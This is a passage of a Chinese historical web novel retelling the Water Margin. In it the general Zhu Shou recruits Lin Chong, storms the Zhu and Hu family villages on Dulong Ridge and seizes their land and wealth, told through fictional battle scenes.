“不敢当,都是洒家应该做的。” 朱寿握住知府的手,一副忠肝义胆的样子。 ----------------- 清晨一只孤舟停在梁山泊的湖心洲旁。 云雾缭绕中,林冲下了船,往前放下衣物和毛巾,就退去静静等候。 那彪壮的男人正在擦拭身上的水迹,水珠从那山峦般的肌肉线条上滚落。 “咳咳咳咳~洒家真是与水犯冲,这浮水是真难学!” 那接近两尺宽的肩背随着咳嗽剧烈起伏,男人咳出不少水。刚刚从岸边游过来显然 男人背对着,没有带面具,露出了俊美英武的侧脸,林冲没敢看,低下了头。 “林冲,我很欣赏你,你这样的人不应该被埋没。我想给你一条不一样的路,一个不一样的身份。” 说完以后彪壮如虎熊般的男人转过身来,林冲把头低得更低了。 “抬起头来,看着我的眼睛,告诉我你值得我相信!”洪亮的声音好似要直抵林冲内心深处。 林冲抬起头,眼中盈满泪水,他是一个很矛盾的人,厚重的思想枷锁下囚禁着一个豪迈勇武的灵魂。 读过书并且生活优越安稳的林冲养成了温和的性子,温和下是精明利己,其实这是大多数人的样子。 而在绝境之中林冲蜕变出了他性格的底色,殊死一搏的武将本色。 武夫谁不想横刀立马,谁不想快意恩仇…… 只是林冲的矛盾性子让他不能成为一个真正的侠客,成不了武松鲁智深那样的人。 由此林冲在水浒里是孤独的,没有真正的好友,他也不敢去渴望别人的信任。 原先林冲已经做好在此苟且度日的准备,却不想朱寿对他抛出了这般信任。 “我的身份你应该有所猜测了吧?” “嗯,想过。”林冲此前也想过是什么样的人敢收留他,而且还能用那么严苛的培养家将。 “洒家叫朱寿,以前听说过也罢没听说过也罢,以后你和我混了。” “谢将军收留之恩!”林冲双膝下垂被朱寿一把扶住。 对于朱寿的名号林冲也听过,那时他还在汴京,高衙内刚刚在大相国寺见过林娘子。 彼时朱寿才刚刚起兵反辽,现在已经是冉冉上升的大宋将星了。 “你得罪了高俅,我不怕他。可你杀了官,我不能直接把你带在身旁,你愿效仿狄青故事吗?”朱寿问道。 北宋狄青也是一个被刺配充军的武将,他为了遮蔽脸上的刺青常年佩戴面具,后来成为了西夏的噩梦。 “若能为狄公,林某九死犹未悔!”林冲留下了眼泪,这个风雪山神庙以后练就一副铁石心肠的男人泪流不止。 狄青那是北宋所有武将中的巅峰,终宋一朝打得最往北的武将。 “好,以后你就是洒家的家将了!” 朱寿从包裹中拿出一个面具递给林冲,那是半张青面紫眼的面具。 第36章 攻打祝家庄 独龙岗上满庄缟素,祝家庄的宗祠中尽是白衣白甲。 祝朝奉给祖先上了一炷香,他今年四十五岁了,身形有些佝偻,两鬓斑白。 “彪儿,给你二哥上柱香吧。” 堂中一个高大雄健的少年郎上前接过香,然后对着排位叩拜。 祝彪是祝朝奉最小的儿子,也是诸子中武艺最好的,最得其宠爱。 “陪我出去走走。”祝朝奉说了一句就往外走,祝彪跟上。 “彪儿,你觉得这一劫咱们家熬得过去吗?” “父亲不必担心,等那朱寿来了,儿子自会斩了他为二哥报仇。等击败了禁军,朝廷自然会招安。” 祝朝奉笑着摇摇头,伸出粗糙的手想摸摸儿子的脸,最后只是落在儿子的肩上。 “你大哥不在,你二哥惨死,咱家就剩你一个了。给为父留下香火吧!” 看着父亲悲伤中恳求带着的眼神,祝彪心里一阵苦涩。 “爹,咱现在这样都是怪那董平挑唆二哥帮他做事,何不威胁他帮我们前后夹击……” 祝朝奉轻轻捂住儿子的嘴,等儿子平静下来才说道:“哪有那么简单,现在想我们死的人多了,那董平还扣下你大哥,没机会了。” 祝彪跪在地上抱住祝朝奉的脚喊道: “父亲,大不了一起死。” “你死了,谁给我们报仇?让你练武不是让你只学会鲁莽,动脑子啊!” 祝朝奉实在忍不住了,这一次被两个儿子坑死了,偌大的家业和几十年的经营,一朝化为乌有。 “听话,快去找你二叔、三叔,他们自会为你安排。” 看着儿子被教训完可怜兮兮的样子,祝朝奉心又软了,当即温和地摸摸儿子的头。 祝彪刚刚起身,那边就有家仆来报。 “老爷,扈家来人了!” “带他们进来。” 回了灵堂后,只见扈家老爷子带着一双儿女身着素衣正在上香。 扈家之前去东平府办事,祝龙被射伤的消息就是他们带回来的。 “祝兄,节哀顺变。” 两家相识多年了,最早这独龙岗只有祝家庄一家,后来扈家搬来,两家多有照应。 “三郎放心,这一次我会和你一起渡过难关的!” 扈三娘豪气地说道,她身子高挑,长相俊美英气,女侠风范毕现。 她和祝彪从小一起长大,两人青梅竹马,她自不会看着好哥们家破人亡。 听了她的话,祝彪难以自抑,又哭了出来。自己心爱之人要为自家而战,他却要弃家而逃,一时悲从心起。 扈三娘的话让扈家老爷子一时语塞,打乱了他原本的计划。 “三娘,老朽感谢你了。不过如今官军势大,你和祝彪一起先行离开吧,这里留给我们这些老骨头吧。” 祝朝奉说完以后,拉住扈老爷子的手说:“老哥哥,你能在这危难关头来伸以援手,祝某感激不尽,不枉我们多年交情。” 扈老爷没说话,他知道祝朝奉是在暗示他,扈家依附祝家多年,利益纠葛太深。 若是想要撇清关系,只怕祝家庄会把扈家的那些把柄全抖给朝廷。 另一边在听了祝朝奉的话以后,扈三娘不愿意了。 “祝叔叔,我不会走的,父兄尚在,岂能苟且偷生,三娘愿以家人共存亡!” 说完以后,扈三娘看向祝彪。 祝彪心中热血上涌,可突然被父亲一瞪,父亲刚才的嘱托涌上心头。 扈三娘看着祝彪不言语,柳眉倒竖,转过身去,站在父兄身旁。 看着扈三娘的背影,祝彪狠下心来撇过头去。 “彪儿,快去吧!”祝朝奉催促道。 “诺~” ----------------- 一日后,祝龙岗山脚筑起了大营,营垒连绵,封锁了偌大的独龙岗。 “独龙岗不好打啊!” 朱寿看着陡峭的地势,带着十几骑探马绕山侦查。 张叔夜说道:“贼人准备据险负隅顽抗,这拐路太多,兵力施展不开。” “还需要有当地人带路,方能减少损失。” 说到带路人,朱寿灵机一动。 独龙岗有三个庄子,其中祝家庄最强,扈家庄最弱,还有一个李家庄。 李家庄庄主李应,武艺高强接近“五虎”,内政钱粮管理能力过人。 原著中,他是为数不多能善终的好汉。 此人文武双全,又与祝家不对付,是攻略祝家庄的关键人物。 若是能拉拢过来此人,也算是获得一个得力干将了。 只见山上来了一只人马,只怕有数百人。 张叔夜暗道不好,被人堵住了。 “嵇仲莫慌,洒家在此。” 朱寿大喝一声,拿出长弓,架上重箭。 山上人马追来,他们转身就跑。 追逐中朱寿连连放箭,双方距离不足二十步,在重箭有效射程内。 一箭一个,面对重箭,普通的皮甲、布甲完全没用。 重箭是女真人最喜欢用,专门用来破甲,不过射程远了,准头也就没了。 双方速度加起来,不少人没刹住马脚直接冲下悬崖。 队伍最前方的张叔夜是文官,骑术在文官中不错,可是在这武将中还是中下。 他在最前面,队伍速度不得不减慢。 朱寿高呼:“嵇仲先走,我来殿后!” 他勒住战马,其身旁面带恶鬼面具的男人也是停下,挺着丈八蛇矛面对冲杀而来的追兵。 朱寿连发重箭,接连射杀数人。 林冲一夹马,迎面冲上去,丈八蛇矛如灵蛇出洞。 血光乍现,林冲化身一匹凶残迅猛的豹子直入羊群,恐怖的爆发力连毙数人。 那张鬼面好像活过来一般,狰狞残暴。 在鬼面注视下,追兵被杀得人仰马翻,后面的追兵向后推搡欲逃。 可山路崎岖狭窄,逃不开。拥挤下,数十人顺着斜坡滚下去。 几骑从林冲身旁冲过的士兵直冲朱寿而去。 放下长弓,朱寿拿起重斧。 “轰~咔嚓” 迎面击落一人,破甲碎骨。 第二骑的士兵太过紧张,一看就是没怎么骑马实战过,用力太猛,一枪捅偏。 朱寿猛挥巨斧,正正斩在马头上。 战马嘶鸣,士兵惨叫,连人带马被砸倒在地上。 追兵胆寒,被杀散退去,与朱寿、林冲二人对峙。 二人拔马退去,追兵不敢追也。 看着满身浴血的林冲,朱寿很是赞赏。 不愧是豹子头林冲,第一次冲阵杀敌就这般勇武。 第37章 交阵 朱寿率兵回到大营时,张叔夜已经点齐兵马准备去救他了。 当他安然无恙回到营中,张叔夜快把他当神了。 两人抵挡数百追兵,虽然有地势原因,对方施展不开人马,可这也是勇猛无比了。 张叔夜看着朱寿身旁浑身是血的鬼面武将,只觉此人浑身杀气。 此人是新来的,作为朱寿的家将。 不过张叔夜并未多管闲事,虽然这个猛士看上去来历可能有些问题,但现在军中有不少武将都会带上这种人。 不少身上背着官司的猛士都会到军中效力,这也是默许的。 毕竟这些强人武功高强又背着官司,与其把他们逼到造反不如让他们自己去军中效力。 既解决了地方治安,又增强了军中战斗力,一举两得。 张叔夜现在很相信朱寿,相信朱寿收留的猛士一定是好汉。 朱寿当即下令:“三军现在开始造饭,午后攻城拔寨。” “石秀,你带人去一趟李家庄,请他前来大营一叙。” 布置完,朱寿在亲兵的帮助下退去盔甲。 步人甲所用的牛皮与甲片太严实,密不透风,很热。 朱寿进了大营以后开始与张叔夜对着地图研究起午后攻势的安排。 ----------------- 午后,独龙岗上。 半山腰上,祝家修起了一道防线,上千人居高临下地看着官军。 独龙岗上丛林茂密,林间小道很是阴凉。 张叔夜黑着一张脸,作为一代儒将,他非常重视上兵伐谋,先攻其心。 可是之前营帐还未扎稳就开始劝降,刚刚他又攻了半天心,人家一点不为所动。 原本在张叔夜看来,祝家庄造反,弹指可灭。里面的百姓肯定都是被裹挟的,只要明之以理,可以很快搞定。 可祝家庄上下就是铁了心一条路走到黑。 祝家庄是以祝氏宗族为根基经营起来的,血缘是他们的纽带,集体耕种,利益绑定。 祝朝奉经营祝家庄将宗族观念塑造得非常深入人心,确实是一个人物。 擂鼓声响起,防线后面跃出一个英姿飒爽的巾帼女将。 那女将身材高挑,手持双刀,一身青衣,想来就是“一丈青”扈三娘。 身后跟着一个高大雄壮的男子,石秀等人一眼就认出此人乃那日杀出重围的栾廷玉。 扈三娘在阵前吆喝:“谁敢与我决一死战?” 朱寿看乐了,带兵这么久,他还是第一次见到有人阵前致师。 致师俗称斗将,起源于周朝,盛行于春秋,在《三国演义》里经常有大战数百回合的场面。 其实汉朝并不流行致师,致师最后的巅峰是在隋唐,唐朝大将秦叔宝是正史上致师无双战将,经常在两军对阵时开无双。 到了宋朝,致师已经跟不上时代了,现在拼的是军团作战,拼的是装备。 个人勇武更多体现在陷阵冲锋斩将之上,而不是三军看着两个人单挑。 不过扈三娘是一个意外,毕竟她长得那么漂亮,有不少人还是想和她切磋的。 而且这里地势险峻,军阵拉不开,强攻不易。 正好借着致师振奋军心。 张叔夜问道:“李员外,这扈三娘武艺如何?” “扈三娘武艺高强,祝家三杰以勇武著称,可真要交起手来都不是扈三娘的对手。”李应说道。 “将军,让末将去会会她。” 杨雄听完以后不以为意,军中不少人为扈三娘美色动容,可专一深情的杨雄不受干扰,直接请战。 朱寿想了想,说道:“石秀,你为杨雄掠阵。” 杨雄、石秀二人领命,拍马出战。 那扈三娘拍马舞刀来战杨雄,石秀、栾廷玉则在一旁掠阵。 一个双刀的熟闲,一个单枪的出众,两个斗敌十数合之上。 朱寿看出来杨雄占不得半点便宜,那扈三娘刀法精湛,膂力过人,反应速度与身体协调性尽皆超过杨雄。 当下二人看上去斗得不分上下,其实是占了扈三娘初经战阵的便宜。 随着战斗打下去,扈三娘越战越勇,招式应对越来越从容。 朱寿连忙示意林冲,林冲打马上前掠阵。 斗至五十回合,杨雄招架不住,被震的手颤脚麻,枪法便都乱了。 杨雄转身就走,扈三娘骑马追赶,石秀迎上阻击,林冲为期掠阵。 石秀上前,杨雄归阵,只觉得脸颊火烫,想他病关索也是燕云好汉,却不想被一介女子击败。 朱寿并不觉得这是杨雄武艺不精,杨雄在《水浒传》里是实打实的“八骠骑”级别武将,实在是扈三娘太强。 扈三娘与石秀又战了二十余回合,扈三娘的随机应变反应力快,见招拆招。 不过她在石秀手上也占不到便宜,石秀战斗那是玩命,小姑娘没走过江湖,遇上这种玩命的,不知道如何应对。 战到三十回合,扈三娘劈了石秀数刀,可砍在步人甲上破不开防。 又斗了十余个回合,扈三娘虚晃一刀,拔马退回去。 石秀虽然厮杀时凶狠拼命,可脑子还是精明的,掉转马头回到阵中。 栾廷玉并未去追石秀,而是直取头戴鬼面的林冲。 他早已听说了官军中有一个鬼面大将,一人杀了他们四十余人。 二人正面对上,长枪对蛇矛正如那针尖对麦芒。 林、栾双雄大战五十回合不分胜负。 栾廷玉在下一个回合中,贴身林冲之际挥动手中铁锤。 “咚~” 鹅蛋大小的铁锤砸在林冲铁甲上,震得林冲气血翻滚,险些滚下马去。 林冲心想今天是自己第一次为朱寿作战,断不容失,胸中杀气升起。 那丈八蛇矛在林冲手中快如闪电,几个回合下来接连刺中栾廷玉。 第六十个回合时,“噗~”长矛刺穿铁甲,鲜血溅起。 栾廷玉身上的盔甲已经有好几处划痕,还有一个血窟窿。 他正欲死战,祝朝奉突然鸣金,他转马往回。 林冲追上,此时三军庆贺,朱寿下令全军压上。 步人甲军团组成的钢铁方阵齐上前,虽然道路崎岖,他们队形有所压缩,可气势依旧悍猛无比。 禁军步兵方阵中弓兵被排在最后,神臂弓的超长射程让他们可以压在后军还能有效射击。 一轮齐射过去,如同割麦一般放倒了一大片祝家庄士兵。 林冲越过战线以后,弃马步战。 (因为骑兵失去机动性以后就是活靶子,所以攻坚时,骁将一般会步战。) 一把丈八蛇矛清理出了一大片空间,林冲迅猛如虎豹,顷刻间已经连杀十余人,一矛一个窟窿。 在林冲的掩护下,步军很快就冲入防线,祝家庄庄客被杀得死伤无数。 和宋江领的那些臭鱼烂虾不一样,朱寿麾下这些是装备精良的精锐之师。 与祝家庄的庄客厮杀,哪怕对方有地势之利,他们丝毫不怂,一轮冲锋就攻上去了。 随着防线瓦解,祝家庄叛军向着山上退去。 朱寿等人率军追击,不过祝家庄到底是更熟路更适应山地,很快就撤回寨中。 当大军追上时,祝家庄已经关上大门,只留下一百多俘虏。 在三军拱卫下,威风凛凛的朱寿站在一块巨石上眺望整座祝家庄。 第38章 分而击破 独龙山前独龙冈,独龙冈上祝家庄。绕冈一带长流水,周遭环匝皆垂杨。 墙内森森罗剑戟,门前密密排刀枪。飘扬旗帜惊鸟雀,纷纭矛盾生光芒。 强弩硬弓当要路,灰瓶炮石护垣墙。对敌尽皆雄壮士,当锋多是少年郎。 朝奉祝公谋略广,金银罗绮有千箱。樽酒常时延好客,山林镇日会豪强。 “这祝家庄确实有一番气象!”朱寿赞叹道。 抓俘虏时,禁军还是出现伤亡了。 楼阁上那乌亮的重弩连发巨矢,贯穿了数名士兵。 步人甲确实是冷兵器时代的防御力巅峰,可是其甲叶分布亦有薄弱之处,更别说重弩的威力足以贯穿千斤巨熊。 “反了天了,破寨之后定要严查是谁把朝廷军事重器弄到这来的。” 张叔夜吹胡子瞪眼的,气愤极了。 在大宋藏甲过三满门抄斩,可床弩就不一样了,这玩意是大宋的国之重器。 一台床弩使用好,可以杀伤上百人。祝家庄一口气拿出来三台床弩,这可严重了,毕竟民间是没有床弩制造工艺的,必是勾结军队。 “收兵!” 朱寿下令,现在不能硬拼,死伤太多就亏了。这支兵马是他在这乱世角逐天下的资本。 “将军,让我带兄弟们冲一冲,半个时辰就能攻破此寨。”石秀请命。 “撤!” 朱寿拒绝,用血肉去接床弩,拼命三郎能莽,他却得把关啊。而且祝家庄上下一心,硬打绝没石秀想得那么轻松。 大军撤回大营以后,随军郎中开始救治伤员,剩余的士兵轮番休整。 在营中坐下以后,朱寿命人倒了几杯热水上来。 静下心以后,朱寿问李应: “李员外,可知道其他包围祝家庄的路线?” 原著里宋江能打下祝家庄靠的是九天玄女托梦,而朱寿在的这个时空明显偏向正史,没有那些怪力乱神的东西。 而且较之宋江,他们还没有孙立进去做内应,只能靠自身破寨。 “小可略有所知,这独龙岗上想要上祝家庄有三条路,将军现在攻的是大路,另外两条分别在我家与扈家庄两个方向,是小道。” 李应回答完当即拿出了一幅地图,比之他们原先的那幅不知要详细多少。 “祝家扶持我家和扈家就是准备用我们做拱卫他的屏障,,昔年三家虽有定约,可他太过霸道,某也不怕他,关系也就落下了。” 听完李应的话,朱寿心中已经有了主意。 摸清了另外两条路线,就可以准备三面围攻了。 “接下来先收拾扈家庄!” 朱寿的大手往扈家庄上一指,当即敲定下一步战略。 扈家庄可没那么硬气,面对梁山,打了几场以后就认怂了。 现在还撑着是因为面对官军,祝家庄掌握的很多罪证让扈家担心。 毕竟对梁山时,扈老爷还想着送点钱把人送走就行。可是朝廷一旦拿到罪证,那就是抄家灭族了。 ----------------- 星空今晚很亮,天气不错。 扈三娘看着满天繁星,眼里有些空洞。 不久前她还是富家大小姐,梦想着成为巾帼女将。 可几天时间他们就变成了反贼,收复燕云的英雄带着大军来剿灭他们。 更让她想不通的是青梅竹马的祝彪居然真得走了。他以前是那么勇敢,那么喜欢她…… 可能从头到尾只有她扈三娘把三家联盟的誓约当了真,她很自责把父兄牵连进来。 她尚且不知道父兄私底下给祝家交了多少投名状,扈家面对朝廷要想过关只能用命。 突然外面锣鼓喧天,扈三娘赶忙穿上甲,拿上自己的双刀出门。 “何事?”她抓住一个家将问道。 “三姑娘,不好了,官军猛攻咱家,家破了老爷带人往这边撤呢。”家将回道。 “哈?快随我去接应我爹!” 扈家人马很快就出寨支援接应扈家老爷。 星空下,密林中,遍地哀鸿。 相比祝家顽强抵抗,扈家的家丁就没那么强的宗族观念,已经有很多人投降了。 当扈三娘所率援兵抵达后,虎翼军攻势立马上升了好几个层次。 面对身披步人甲的刀盾兵,扈家家丁被盾牌撞得连连后退,紧接而来的是锋利的朴刀。 被官军逐步围拢以后,扈家降者陡增。 “呀!”扈三娘把双刀舞得冒火星,却依然难抵败落之势。 祝家庄没有派来援军,扈家注定无处可去了。 朱寿有些小失望,原想着来招围点打援,消耗一波祝家庄。 不成想祝朝奉这只老狐狸不上当。 “速速拿下反贼!”朱寿下令,他只想快些收尾吧,好回营休息。 面对全力以赴的官军,扈家彻底被打崩。 扈老爷失魂落魄地跪下,四周抵抗逐步平息。 最后只剩扈三娘还在挥刀,看着父兄已经认命地跪地,她却依旧好不甘心。 她想救他们,被官军捉住就死定了。 可她无可奈何,气力在每一次挥刀中,长刀能精准避开盾牌,却难以劈开步人甲,纵使劈开也难以一击毙命。 “嘣~” 木棓砸在她的头盔上,木屑碎散,头盔被击落。 扈三娘感觉眼前一阵天旋地转,随即一黑。 朱寿看着这边搞定了,目光转向远处的祝家庄。 星夜里,一个老头站在祝家庄的城寨上,看着这边。 朱寿看着他笑了,露出白森森的牙齿。 祝朝奉看向远处的那个铁甲巨汉,眼中闪过寒芒。 ----------------- “你知道自己犯的是什么事吗?” “知道,老朽死不足惜,只求能让儿女活下去。” “你死不死我不在意,这一次洒家是为了祝家而来,你造反还是没造反也不重要。” 扈老爷子好像懂了什么,当即说道: “将军为国家收复失地,劳苦功高,老朽略有积蓄愿捐赠将军,也算将功赎罪。” 朱寿看着老头,许久才继续说:“钱其实也不重要,不过看在你家多年接济乡里、乐善好施的情况下,罪不致死。” “多谢将军恩典!”老爷子磕头如捣蒜。 “哎,别谢我!你家能活和我可没关系,你是被祝朝奉用儿女胁迫才帮他的,并且也没有反抗,我一攻上来你就跑了,知道了吧?” “知道知道!” “死罪可免,活罪难逃。刺配充军是躲不过的,廷杖你这老骨头也挨不住。现在还是快立功吧,和王记事好好交代,好将功补过。” “王伦好好问!” “诺!” 朱寿心中一乐,现在对扈家的价值算是充分利用了。 这些士绅豪族财富积累得很多,可大都狡兔三窟。 独龙岗最富的祝家这次只怕不能把他家全部吃掉,不少银子、财货肯定藏在外面,自己很难从祝朝奉嘴里得到这些消息。 不过扈家就跑不掉了,拿住扈三娘兄妹,扈老爷子只能就范。 创业开基初期真得太缺银子了,他巴不得把这些士绅豪族身上的油水刮干净。 第39章 破灭 箭矢零落地插在残垣断壁,鲜血在冬日里凝固。 巨石砸塌了那厚实的城墙然后横七竖八地留在城墙上。 祝家庄里每一个人的眼中都充斥着灰败与死意。 官军已经退去,可那种绝望的压迫感让人窒息。 祝朝奉看着自己的族人死伤惨重,他万分悲痛。 很多年前,祝家只是一个普通的小庄子,随时被官府、强人来打秋风。 父亲很卑微,家里表面算是员外富户,可底子已经入不敷出,家业日益萎缩。 后来父亲去世时,居然还有强人来打秋风,母亲和两个弟弟一直在哭,他也想哭,可他忍住了。 从那天起,他发誓以后再也不能让人欺负祝家,他要保护好家人。 身为嫡长子的他接过家业,他培养两个弟弟习武,又帮叔父打通关系在汴梁做了个军职。 在他手上祝家庄变得团结起来,家族发展得欣欣向荣。 可不曾想三十年的经营一朝间化为乌有,就像大梦一场啊。 祝家横行多年,踏足绿林,他一直像在刀尖上走路,一旦失误就是万劫不复。 今天的结局他有想过,毕竟出来混总是要还的。 能辉煌三十年,这辈子不亏了。 祝朝奉沐浴焚香然后在宗祠里上了最后一炷香。 山下官军大营,旌旗在晚风中飘扬。 “今晚,多弄些肉,让兄弟们吃好些。明早一口气拿下祝家庄!” 朱寿下令,三面夹击,给祝家庄放血打到现在已经将其人心打垮。 攻城拔寨都是攻心为上,面对这种没有增援、实力碾压的围攻,禁军都撑不住。 更别说没有严格训练过的祝家庄了,能撑到现在多亏了祝朝奉经营多年建立的威信。 拿下祝家庄以后,他们也算是在中原站稳脚跟了。 作为北人南归,难免被地头蛇拿捏,现在敲打完了,实力也展现了。 还能借机捞一笔,接下来就是走走朝中的门道,准备更进一步。 祝家庄是一块肥肉啊,虽然不能完整吃下,但那开垦出来的千亩良田跑不了。 有了这块肥肉,自己的根基也算是打下了。 朱寿胸中的韬略不断完善,开始计划接下来的进程。 有了地就可以供养更多的家丁,还可以多笼络一些落地失意文人。 宋朝的寒门与庶民文人还是很多的,印刷术的改进推动了文字传播,也松动了士族对知识的阶级垄断。 庞大数量的宋朝文人形成了人才过剩,西夏就是通过收拢宋朝失意文人来打造自己的朝政官僚系统。 而且北宋失意文人是很喜欢造反的,山东愤青们从宋真宗年间就叫着北宋已有亡国之象。 朱寿打造自己的势力很需要文人,后勤和经营财政这些太关键了。 思考着日后的发展,朱寿思绪跑远。 官军大营在夕阳下冒起阵阵炊烟。 西垂的酒红夕阳照在祝家庄上,余晖逐渐退去,祝家庄一步步隐入黑暗。 当最后一抹夕阳退去,祝家庄被黑暗笼罩。 长夜漫漫,祝家庄今晚很多人久久未眠,他们已经预感到自己的结局即将到来。 青灯将尽,祝朝奉坐在蒲团上,闭眼冥想。 外面传来一阵脚步声,祝朝奉睁开眼睛,只见来人是栾廷玉。 “廷玉来了,坐。我们好久没有一起说话了。”祝朝奉招招手。 栾廷玉坐下以后没有说话,只是沉默不语。 “一晃十五年了,我老喽。”祝朝奉摇了摇头,他的鬓角全白了,脸上满是皱纹。 看着老头苍老的面容,栾廷玉不悦想起当初的相遇。 那时他还是一个刚刚学艺有成的年轻侠客,可是下山以后却为生计奔波。 温水煮了将军梦,现实压垮少年肩。 后来遇到了祝朝奉,那时的祝朝奉是一个孔武有力的中年人,身上衣着华贵,为人慷慨大方。 那天这个骑着高头大马的男人丢给他一壶酒,邀请他去独龙岗参加武林比武。 他不知怎地就同意了,或许是下山这么久第一次得到尊重与认可吧……然后他拔得头筹,被留下做了教头,做了二十年的教头。 “活了大半辈子,活够了,风光半生。当初欺负过我们孤儿寡母的都被我收拾了,此生快哉!” 祝朝奉拿起宗祠里的贡酒大口畅饮,然后看着栾廷玉说道: “廷玉,你的忠义我懂得!不过你一身本事不应该埋没于此。我现在无心求生,只望你和族人们能活下去,朝廷不会赶尽杀绝……” 栾廷玉还是没有说话,只是从祝朝奉手里拿过酒仰头喝完。 “庄主,不要灰心。到了阴间,某再与庄主共图大事,打下十倍于此的祝家庄。” 说完,栾廷玉起身离开。 祝朝奉看着栾廷玉的背影没有再多说,一双深沉的眸子只是盯着浓浓的黑夜。 当黑夜再度退去,祝家庄没有迎来充满生机与希望的黎明,等待他们的是最后的破灭。 鸡鸣声被喊杀声掩盖去,寨子里鸡飞狗跳。 在剧烈的撞击中,祝家庄的大门被轰开。 面对着身披步人甲的洪流,身心疲倦的祝家众人被无情地淹没。 杀戮几乎是一面倒,当家丁被几乎杀光以后,祝家庄的庄民放弃了抵抗。 朱寿的杀心很重,不过被张叔夜制止了,毕竟他们现在是官军,自然不能屠城杀降。 在祝家庄的宗祠前还有着最后的抵抗,刀盾兵用厚实的盾牌组成盾阵。 盾阵前立着一道血影,已有十几把神臂弓对准了他。 朱寿按下神臂弓,走到盾阵之后看着那道血影说道: “栾廷玉,祝家庄已破,不要再负隅顽抗了。天恩浩荡,未必不能给你一次机会。” “狗官,听说你威震燕云,可有胆和我决一死战?” 朱寿听完以后,摇了摇头,原本还想收复这员猛将,看来是自己相差了。 “放箭!” 朱寿一挥手,强弩连发。 “噗嗤~”哪怕栾廷玉把枪舞得密不透风,依然被射成了刺猬。 看着那血肉模糊的身影倒下,朱寿面无表情地在心中吐槽:跟我决一死战?你什么身份,我什么地位? 作为实战派猛将,他不喜欢搞什么华饰的致师,他只为战争的胜利而拼杀。 为了胜利,他可以斩将夺旗,也可以把敌人砍得人马俱碎。 可是他不喜欢表演花样,何况胜局已定,栾廷玉已是瓮中之鳖,还打个屁啊。 至于侠义精神、名将之风、贵族礼节……他嗤之以鼻,为了胜利他可以大开大合也可以不择手段。 进入祝家宗祠,只见祝朝奉已经一条白绫把自己挂在房梁之上。 祝朝奉能力确实不错,可他始终没能在自己擅长的领域对抗朱寿。 从头到尾,朱寿的这套连招又猛又快,让他来不及谋算和动用自己的庞大关系网,就被朱寿钉死为造反。 第40章 独龙岗二三事 独龙岗处在一个巨大的抬升断裂面上,山路曲折,可是上层平坦有万亩良田。 在地形上,独龙岗有些像雄城玉璧,地势险要,可内部有充足产粮区。 而且独龙岗上有河流,沿途灌溉,山间也开垦出不少梯田,是东平府的一个重要粮产区。 朱寿看着依山傍水的祝家庄,非常满意。 “阿成,上苍有好生之德,洒家不忍独龙岗生灵涂炭,望你能打理好这的事,日后该交的粮还是得交,你也要管好下面的人。” “属下感谢将军大恩大德,救命之恩,没齿难忘。” 身旁俊秀的男子恭顺应道,此人正是扈成。 朱寿选中了扈成来打理祝家庄、扈家庄留下的田产,此人能力颇强,中上之姿,文物兼备,好用。 和梁山泊那些抢一笔就走的匪寇不一样,朱寿走的是可持续性发展,土地才是最宝贵的资源。 这么多良田空余出来不要白不要,至于州府里上下打点一番即可。 有了这些田才养得起家将,有了一定规模的家将以后才方便自己以后扩军在军中的控制力。 他可不想南下“借鸡生蛋”最后演变成羊入虎口,真被宋朝凭借巨大的体量给吞了。 家将、人才是非常重要的,自己的根基要打牢。 “将军,属下还有一个不情之请。”扈成态度放得很低,恳求道。 “说来听听。” “家父年迈,还请将军在他发配充军一事上能帮他运作一下。” 扈员外身体是真不好,若是充军路途遥远,只怕路上就可以埋了。 “洒家自有打算。” 朱寿对于扈家父女自有谋划,用扈成来经营,他也是冒了风险的,那么就必须掐住其命门,绑定大家的利益。 “还有三娘……” “够了,洒家说过会保你一家性命,说到做到,其余的洒家自有主张……” “属下失言了,但请将军责罚。” 扈成跪在地上,他对于眼前这个虎背熊腰的猛男有着发自心底的恐惧。 朱寿的大手按在扈成的头上,轻声道:“阿成记住了,扈家郎君死在叛乱中,以后世间只有朱成,我的远房族弟,懂了吗?” “属下谨记在心!” 独龙岗大战已经落幕,这一次的收获非常高。 就说金银珠宝,祝、扈两家加起来贡献了八十余箱。 短时间朱寿可以体验一下财货充沛的感觉了。 至于恢复独龙岗的生产则需要上点心,需要派人出去多挑选些壮年的流民回来做佃户。 现在山东最不缺的就是流民,寒冬与苛税害得山东民众苦不堪言,不知有多少人破产。 冰期带来的苦难巨大,不过也间接为农民起义与王朝更迭创造了窗口。 在盛世太平年景,谁会愿意抛下身家性命造反啊。 农民的需求很低,能吃饱饭就行。他们造反那是真活不下去了。 现在官府也管不了那么多流民,乡绅收拢流民不仅是默许的,地方官甚至希望他们积极收拢。 只有让流民安定下来,他们才不容易造反,不然地方官的乌纱帽难保。 “至于你妹妹,洒家不会为难她。只是去东平府衙门那边走个程序,洒家很快就会把她弄出来,你放心。” 敲定了家人平安以后,扈成心中悬着的大石终于落下 交代完后续的管理事宜以后,朱寿又叫来林冲吩咐练兵事项: “接下来你就在这里训练家将,过一段时间我会让人再选拔一批人过来,你好好挑……” 现在有了这么多钱以后,朱寿立即准备扩大自己的家将培养名额。 有了独龙岗这么一块根据地以后,还可以让这些半大小伙子一边练武一边投入生产,节约成本。 “……每三个月进行一次考核,选取其中成绩前十名送往东平府那边的庄子。” “末将遵命!”林冲答道。 朱寿觉得林冲真得很适合当教头,林冲身上有一股文人的儒家气息,这让他显得温和一些,教授徒弟武艺更加平易近人。 而且林冲的武艺是非常正统的体系培养出来的,和那些野路子不一样,由他来打基础很稳。 “将军,山下有人来了个猛将想要见你。此人勇猛过人,刚刚车轮战我和杨雄哥哥,丝毫不落下风,是个高手。” “哦,带洒家去看看是何方神圣?”朱寿提了刀纵马直接下山。 山路上疾风掠过,朱寿只觉得心生快意。 不一会,朱寿来到山脚,只见杨雄率领上白精锐正立于山脚。 站在他们对面的是一条七尺八寸(汉尺)的大汉,脸上生有一块青涩胎记。 (本书的计量单位一般是北宋,不过施耐庵在原著中描写身高用的应该是汉尺,明朝文人就推崇汉唐,而且汉尺听起来夸张一些。) 朱寿目光扫过此人青色胎记时略微停留,心下已知此人是谁。 这七尺八寸、朴刀配长枪的男人正是青面兽杨志。 “听说你是来寻洒家的,不知壮士有何贵干?”朱寿问道。 在朱寿观察杨志的同时,杨志也在观察他。 看着那将八九十斤的步人甲撑满的庞大体魄,杨志在心中对这一位将军心中好感上升。 大宋军中有太多幸进之人,真正能征善战的猛将反而不得势,杨志被那些幸进之徒恶心了十几年,今天见到一个真将军,欣赏。 “在下青面兽杨志,杨家将后人,仰仗燕云猛虎的名声前来投靠,欲为将军效力。” “哦,杨家将?原来是忠良之后,来上山聊。” 杨志眼中一亮,收起刀枪,紧跟朱寿上山。 